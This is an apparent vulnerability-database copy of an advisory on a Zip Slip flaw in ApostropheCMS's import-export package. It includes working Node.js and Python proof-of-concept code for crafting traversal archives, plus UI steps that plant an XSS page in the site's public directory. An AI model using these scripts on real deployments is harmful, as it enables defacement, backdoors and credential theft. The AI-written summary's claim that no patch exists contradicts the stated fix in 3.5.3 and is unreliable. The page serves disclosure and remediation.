Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export
---
Product
| Field | Value |
|---|---|
| Repository | apostrophecms/apostrophe (monorepo) |
| Affected Package | @apostrophecms/import-export |
| Affected File | packages/import-export/lib/formats/gzip.js |
| Affected Function | extract(filepath, exportPath) - lines ~132-157 |
| Minimum Required Permission | Global Content Modify (any editor-level user with import access) |
---
Vulnerability Summary
The extract() function in gzip.js constructs file-write paths using:
fs.createWriteStream(path.join(exportPath, header.name))path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.
This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission - a role routinely assigned to content editors and site managers - can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.
---
Security Impact
This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:
1. Arbitrary File Write
Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:
- Any path the CMS process has permission to
2. Static Web Directory - Defacement & Malicious Asset Injection
ApostropheCMS serves <project-root>/public/ via Express static middleware:
// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:
This enables:
- Full site defacement
- Serving phishing pages from the legitimate CMS domain
- Injecting malicious JavaScript served to all site visitors (stored XSS at scale)
3. Persistent Backdoor / RCE (Post-Restart)
If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure - meaning the attacker does not need to manually trigger one.
4. Credential and Secret File Overwrite
Overwrite .env, app.config.js, database seed files, or any config file to:
- Exfiltrate database credentials on next load
- Redirect authentication to an attacker-controlled backend
- Disable security controls (rate limiting, MFA, CSRF)
5. Denial of Service
Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.
---
Required Permission
Global Content Modify - this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.
---
Proof of Concept
Two PoC artifacts are provided:
| File | Purpose |
|---|---|
tmp-import-export-zip-slip-poc.js | Automated Node.js harness - verifies the write happens without a browser |
make-slip-tar.py | Attacker tool - generates a real .tar.gz for upload via the CMS web UI |
---
PoC 1 - Automated Verification (tmp-import-export-zip-slip-poc.js)
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');
const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');
async function makeArchive(archivePath) {
const pack = tar.pack();
const gzip = zlib.createGzip();
const out = fs.createWriteStream(archivePath);
const done = new Promise((resolve, reject) => {
out.on('finish', resolve);
out.on('error', reject);
gzip.on('error', reject);
pack.on('error', reject);
});
pack.pipe(gzip).pipe(out);
pack.entry({ name: 'aposDocs.json' }, '[]');
pack.entry({ name: 'aposAttachments.json' }, '[]');
// Traversal payload
pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');
pack.finalize();
await done;
}
(async () => {
const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
const archivePath = path.join(base, 'evil-export.gz');
const exportPath = archivePath.replace(/\.gz$/, '');
await makeArchive(archivePath);
const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');
// Ensure clean pre-state
try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}
await gzipFormat.input(archivePath);
const exists = fs.existsSync(expectedOutsideWrite);
const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';
console.log('EXPORT_PATH:', exportPath);
console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
console.log('WRITTEN_CONTENT:', content.trim());
})();Run:
node .\tmp-import-export-zip-slip-poc.jsObserved output (confirmed):
EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT: PWNED_FROM_TARThe file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.
---
PoC 2 - Web UI Exploitation (make-slip-tar.py)
Script (make-slip-tar.py):
import tarfile, io, sys
if len(sys.argv) != 3:
print("Usage: python make-slip-tar.py <payload_file> <target_path>")
sys.exit(1)
payload_file = sys.argv[1]
target_path = sys.argv[2]
out = "evil-slip.tar.gz"
with open(payload_file, "rb") as f:
payload = f.read()
with tarfile.open(out, "w:gz") as t:
docs = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposDocs.json")
info.size = len(docs.getvalue())
t.addfile(info, docs)
atts = io.BytesIO(b"[]")
info = tarfile.TarInfo("aposAttachments.json")
info.size = len(atts.getvalue())
t.addfile(info, atts)
info = tarfile.TarInfo(target_path)
info.size = len(payload)
t.addfile(info, io.BytesIO(payload))
print("created", out)---
Steps to Reproduce (Web UI - Real Exploitation)
Step 1 - Create the payload file
Create a file with the content you want to write to the server. For a static web directory write:
echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.htmlStep 2 - Generate the malicious archive
Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root - typically 2-4 levels up. Adjust as needed:
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"This creates evil-slip.tar.gz containing:
aposDocs.json- empty, required by the importeraposAttachments.json- empty, required by the importer../../../../<project-root>/public/injected.html- the traversal payload
Step 3 - Upload via CMS Import UI
- Log in to the CMS with any account that has Global Content Modify permission.
- Navigate to Open Global Settings → More Options → Import.
- Select
evil-slip.tar.gzand click Import. - The CMS accepts the file and begins extraction - no error is shown.
Step 4 - Confirm the write
curl http://localhost:3000/injected.htmlExpected response:
<!-- injected by attacker --><script>alert('XSS')</script>The file is now being served from the CMS's own domain to all visitors.
Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing
---
AnalysisAI
Path traversal in ApostropheCMS import-export module allows authenticated users with content modification permissions to write files outside the intended export directory via malicious archive entries containing directory traversal sequences. An attacker with editor-level access can exploit this vulnerability to overwrite arbitrary files on the system with CVSS 9.9 critical severity. No patch is currently available for this vulnerability affecting Node.js environments.
Technical ContextAI
The vulnerability exists in the gzip.js module's extract() function (lines 132-157) within the @apostrophecms/import-export package. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically a classic Zip Slip attack where the code uses path.join() to construct file write paths without sanitizing or resolving traversal sequences like '../'. When processing tar archive entries, the function directly creates write streams using fs.createWriteStream(path.join(exportPath, header.name)) without validating that the resulting path remains within the intended extraction directory. The affected package is identified by CPE pkg:npm/@apostrophecms_import-export and resides in the apostrophecms/apostrophe monorepo. This type of vulnerability is common in archive extraction implementations that fail to canonicalize paths or check for directory traversal attempts before file system operations.
RemediationAI
Immediately upgrade the @apostrophecms/import-export package to version 3.5.3 or later, which contains the patch for this vulnerability as confirmed in the GitHub Security Advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78. Organizations should audit all user accounts with Global Content Modify permission and apply principle of least privilege, restricting import functionality to only trusted administrators until patching is complete. As an interim mitigation, disable or restrict access to the import functionality through the CMS settings or implement file system permissions that prevent the Node.js process from writing to critical directories such as the application root, public assets directory, and node_modules. After patching, review file system logs and the public directory for any suspicious files written between the vulnerability disclosure date and patch application, particularly looking for unexpected JavaScript files, HTML files, or modifications to configuration files that could indicate exploitation. Consider implementing application-level file integrity monitoring on critical directories and rotating credentials stored in configuration files as a precautionary measure.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-12978
GHSA-mwxc-m426-3f78